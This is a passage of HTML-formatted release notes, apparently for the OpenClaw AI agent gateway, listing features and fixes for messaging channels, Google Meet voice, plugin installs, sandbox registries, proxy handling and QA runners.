<li>Discord/status: let explicit reaction tool calls opt into tracking later tool progress with <code>trackToolCalls: true</code>, share tool display emoji mapping, and surface degraded Discord transport or gateway event-loop starvation in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370424830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76327/hovercard" href="https://github.com/openclaw/openclaw/pull/76327">#76327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter <code>@newsletter</code> outbound message targets with channel session metadata instead of DM routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921599881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/13417/hovercard" href="https://github.com/openclaw/openclaw/issues/13417">#13417</a>; carries forward the narrow outbound target idea from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921655588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13424" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/13424/hovercard" href="https://github.com/openclaw/openclaw/pull/13424">#13424</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agentz-manfred/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agentz-manfred">@agentz-manfred</a>.</li>
<li>Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372183833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76773/hovercard" href="https://github.com/openclaw/openclaw/pull/76773">#76773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>.</li>
<li>Agents/sandbox: store sandbox container and browser registry entries as per-runtime shard files, reducing unrelated session lock contention while <code>openclaw doctor --fix</code> migrates legacy monolithic registry files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355267442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74831" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74831/hovercard" href="https://github.com/openclaw/openclaw/pull/74831">#74831</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luckylhb90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luckylhb90">@luckylhb90</a>.</li>
<li>Tools/BTW: add <code>/side</code> as a text and native slash-command alias for <code>/btw</code> side questions.</li>
<li>Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356957695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75004/hovercard" href="https://github.com/openclaw/openclaw/pull/75004">#75004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>QA/Mantis: add a <code>pnpm openclaw qa mantis discord-smoke</code> runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Channels/WhatsApp: allow <code>@whiskeysockets/libsignal-node</code> in <code>onlyBuiltDependencies</code> so pnpm v9+ <code>blockExoticSubdeps</code> no longer rejects the baileys git-tarball subdep and silences all inbound agent replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371187256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76539" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76539/hovercard" href="https://github.com/openclaw/openclaw/issues/76539">#76539</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ottodeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ottodeng">@ottodeng</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/systemd: preserve operator-added secrets in the Gateway env file across re-stage while clearing OpenClaw-managed keys (such as <code>OPENCLAW_GATEWAY_TOKEN</code>) so a fresh staging value is never shadowed by a stale env-file copy; operator secrets are also retained when the state-dir <code>.env</code> is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372544865" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76860" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76860/hovercard" href="https://github.com/openclaw/openclaw/issues/76860">#76860</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugin updates: do not short-circuit trusted official npm updates as unchanged when the default/latest spec still resolves to an already-installed prerelease that the installer should replace with a stable fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugin tools: keep auth-unavailable optional tools hidden even when another default tool from the same plugin is available and <code>tools.alsoAllow</code> names the optional tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Realtime transcription: report socket closes before provider readiness as closed-before-ready failures instead of mislabeling them as connection timeouts for OpenAI, xAI, and Deepgram streaming transcription. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>OpenAI/Google Meet: fail realtime voice connection attempts when the socket closes before <code>session.updated</code>, avoiding stuck Meet joins waiting on a bridge that never became ready. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/cache: require the full <code>CACHE-OK &lt;suffix&gt;</code> marker before live cache probes stop retrying, so suffix-only prose cannot hide a broken probe response. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Slack/Matrix: avoid creating blank progress-draft messages when <code>streaming.progress.label=false</code> and progress tool lines are disabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: keep the mock OpenAI tool-progress provider aligned with exact-marker Matrix prompts so the hardened live preview scenario still forces a deterministic read before final delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>OpenAI/Google Meet: wait for realtime voice <code>session.updated</code> before treating the bridge as connected, so Meet joins do not return with audio queued behind an unconfigured realtime session. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: merge official external catalog descriptors into partial package channel config metadata, so lagging WeCom/Yuanbao manifests keep their own schema while still exposing host-supplied labels and setup text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: supplement lagging official external WeCom and Yuanbao npm manifests with channel config descriptors and declared tool contracts from the OpenClaw catalog, so trusted package sweeps no longer fail because external package metadata trails the host contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: let trusted official <code>@openclaw/*</code> catalog installs recover when npm <code>latest</code> points at a prerelease by falling back to the newest stable version, or by selecting the newest exact prerelease for prerelease-only launch packages with a warning instead of making beta/development plugin sweeps fail at install time. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet: grant Chrome media permissions against the actual Meet tab, start the local realtime audio bridge only after Meet joins, expose realtime transcripts in status/logs, and force explicit audio responses with current OpenAI realtime output-audio events so BlackHole capture does not keep the OpenClaw participant muted or silent.</p>
</li>
<li>
<p>Memory/LanceDB: declare <code>apache-arrow</code> in the bundled memory plugin package so LanceDB installs include its runtime peer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372798421" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76910" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76910/hovercard" href="https://github.com/openclaw/openclaw/issues/76910">#76910</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afiqfiles-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afiqfiles-max">@afiqfiles-max</a>.</p>
</li>
<li>
<p>CLI/devices: retry explicit device-pair approval with <code>operator.admin</code> after a pairing-scope ownership denial, so existing admin-capable paired-device tokens can recover new Control UI/browser pairing after upgrades instead of requiring manual JSON edits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373068828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76956/hovercard" href="https://github.com/openclaw/openclaw/issues/76956">#76956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neo19482/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neo19482">@neo19482</a>.</p>
</li>
<li>
<p>Google Meet: use the local call-control microphone button instead of disabled remote participant mute buttons, and block realtime speech when the OpenClaw Meet microphone remains muted.</p>
</li>
<li>
<p>Google Meet: refresh realtime browser state during status and retry delayed speech after Meet finishes joining, so a just-opened in-call tab no longer leaves speech stuck behind stale <code>not-in-call</code> health.</p>
</li>
<li>
<p>Plugins/install: recover the install ledger from the managed npm root when <code>plugins/installs.json</code> is empty or partial, so reinstalling Discord and Codex no longer makes the other installed plugin disappear.</p>
</li>
<li>
<p>Google Meet: grant Meet media permissions through the Playwright browser context when CDP grants do not affect the attached Chrome page, and report in-call microphone/speaker permission problems instead of marking realtime speech ready.</p>
</li>
<li>
<p>QA/Slack: fail the live mention-gating scenario on any unexpected SUT reply, even when the reply does not echo the expected marker. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: steer the live tool-progress preview check away from <code>HEARTBEAT.md</code> and report final preview candidates when the live marker reply misses the exact token. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: let the live tool-progress preview check verify progress replacement events without depending on the preview saying <code>Working</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tlon: expose <code>groupInviteAllowlist</code> in the channel config schema and clarify that group invite auto-accept fails closed without an invite allowlist. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI/WebChat: collapse duplicate in-flight internal text sends onto the active Gateway run so rapid repeat submits do not start fresh <code>agent:main:main</code> dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365412486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75737" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75737/hovercard" href="https://github.com/openclaw/openclaw/issues/75737">#75737</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsdsddd1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsdsddd1">@dsdsddd1</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Mattermost: accept the documented <code>channels.mattermost.streaming</code> config and honor <code>streaming: "off"</code> by disabling draft preview posts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost: expose streaming progress config labels and help text in generated channel config metadata so Control UI/docs can explain the new <code>channels.mattermost.streaming.progress.*</code> fields. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost: honor <code>channels.mattermost.streaming.progress.toolProgress=false</code> in progress draft mode so compact tool status lines stay hidden until final delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Microsoft Teams: honor progress draft tool lines in native Teams progress streams and suppress standalone tool messages when <code>channels.msteams.streaming.progress.toolProgress=false</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep progress draft boundary callbacks bound during streaming replies, so extension lint stays green while progress previews transition between assistant and reasoning blocks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: resolve SecretRef-backed bot tokens from the active runtime snapshot for named accounts and keep unresolved configured tokens from crashing status or health checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373196456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76987/hovercard" href="https://github.com/openclaw/openclaw/pull/76987">#76987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Channels/streaming: expose <code>streaming.progress.label</code>, <code>labels</code>, <code>maxLines</code>, and <code>toolProgress</code> in bundled channel config metadata so progress draft settings appear in config, docs, and control surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/streaming: normalize whitespace and case for <code>streaming.progress.label: "auto"</code> so progress draft labels keep using the built-in label pool instead of rendering a literal <code>auto</code> title. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/Codex: preserve Codex-native OAuth routing for <code>/codex bind</code> app-server turns so bound sessions keep the selected Codex auth profile instead of falling back to public OpenAI credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371977999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76714" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76714/hovercard" href="https://github.com/openclaw/openclaw/pull/76714">#76714</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Gateway/install: prefer supported system Node over nvm/fnm/volta/asdf/mise when regenerating managed gateway services, so <code>gateway install --force</code> no longer recreates service definitions that doctor immediately flags as version-manager-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370479446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76339/hovercard" href="https://github.com/openclaw/openclaw/issues/76339">#76339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Cron/status: render explicit <code>delivery.mode: "none"</code> jobs as no-delivery previews and label cron session history distinctly instead of showing fallback delivery or direct-session rows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373002812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76945/hovercard" href="https://github.com/openclaw/openclaw/issues/76945">#76945</a>.</p>
</li>
<li>
<p>Gateway/usage: serve <code>usage.cost</code> and <code>sessions.usage</code> from a durable transcript aggregate cache with lock-safe background refreshes and localized stale-cache status, so large usage views avoid repeated full scans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371689139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76650" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76650/hovercard" href="https://github.com/openclaw/openclaw/pull/76650">#76650</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</p>
</li>
<li>
<p>Plugins/hooks: let <code>plugins.entries.&lt;id&gt;.hooks.timeoutMs</code> and <code>plugins.entries.&lt;id&gt;.hooks.timeouts</code> bound plugin typed hooks from operator config, so slow hooks can be tuned without patching installed plugin code. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372195245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76778" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76778/hovercard" href="https://github.com/openclaw/openclaw/issues/76778">#76778</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Telegram: add <code>channels.telegram.mediaGroupFlushMs</code> at the top level and per account so operators can tune album buffering instead of being stuck with the hard-coded 500ms media-group flush window. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369407591" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76149" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76149/hovercard" href="https://github.com/openclaw/openclaw/issues/76149">#76149</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Config/messages: coerce boolean <code>messages.visibleReplies</code> and <code>messages.groupChat.visibleReplies</code> values to the documented enum modes so an intuitive toggle no longer invalidates config and drops channel startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362618830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75390" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75390/hovercard" href="https://github.com/openclaw/openclaw/issues/75390">#75390</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</p>
</li>
<li>
<p>Agents/network: allow trusted web-search providers and configured model-provider hosts to work behind Surge/Clash/sing-box fake-IP DNS by accepting RFC 2544 and IPv6 ULA synthetic answers only for the request's scoped hostname, without broad private-network access. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371165031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76530/hovercard" href="https://github.com/openclaw/openclaw/pull/76530">#76530</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371221003" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76549/hovercard" href="https://github.com/openclaw/openclaw/pull/76549">#76549</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>Providers: honor env-proxy settings for guarded provider model fetches when no explicit dispatcher policy is configured, preserving explicit transport overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313226664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70453" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70453/hovercard" href="https://github.com/openclaw/openclaw/issues/70453">#70453</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332554258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72480/hovercard" href="https://github.com/openclaw/openclaw/pull/72480">#72480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</p>
</li>
<li>
<p>Web fetch: add a default-off <code>tools.web.fetch.useTrustedEnvProxy</code> opt-in for proxy-only environments so <code>web_fetch</code> can let an operator-controlled HTTP(S) proxy resolve DNS while preserving default strict DNS pinning and hostname policy checks. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174983773" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58034" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58034/hovercard" href="https://github.com/openclaw/openclaw/pull/58034">#58034</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218664195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62560" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62560/hovercard" href="https://github.com/openclaw/openclaw/issues/62560">#62560</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmicnet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmicnet">@cosmicnet</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</p>
</li>
<li>
<p>Feishu: accept and honor <code>channels.feishu.blockStreaming</code> at the top level and per account, while keeping the legacy default off so Feishu cards no longer reject documented config or silently drop block replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363708099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75555" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75555/hovercard" href="https://github.com/openclaw/openclaw/issues/75555">#75555</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/update: avoid <code>launchctl kickstart -k</code> immediately after fresh macOS update bootstraps, and unlink dangling global plugin-runtime symlinks during packaged postinstall and <code>doctor --fix</code> so upgrades no longer SIGTERM the newly booted Gateway or leave bundled plugin imports pointed at pruned <code>plugin-runtime-deps</code> trees. Completes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370027099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76261/hovercard" href="https://github.com/openclaw/openclaw/issues/76261">#76261</a> and fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370948926" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76466/hovercard" href="https://github.com/openclaw/openclaw/issues/76466">#76466</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372917596" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76929" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76929/hovercard" href="https://github.com/openclaw/openclaw/pull/76929">#76929</a>)</p>
</li>
<li>
<p>Google Chat: normalize custom Google auth transport headers before google-auth/gaxios interceptors run, restoring webhook token verification when certificate retrieval expects Fetch <code>Headers</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372087228" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76742" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76742/hovercard" href="https://github.com/openclaw/openclaw/issues/76742">#76742</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donbowman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donbowman">@donbowman</a>.</p>
</li>
<li>
<p>Doctor/plugins: reset stale <code>plugins.slots.memory</code> and <code>plugins.slots.contextEngine</code> references during <code>doctor --fix</code>, so cleanup of missing plugin config does not leave unrecoverable slot owners behind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371224583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76550/hovercard" href="https://github.com/openclaw/openclaw/issues/76550">#76550</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371225742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76551" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76551/hovercard" href="https://github.com/openclaw/openclaw/issues/76551">#76551</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 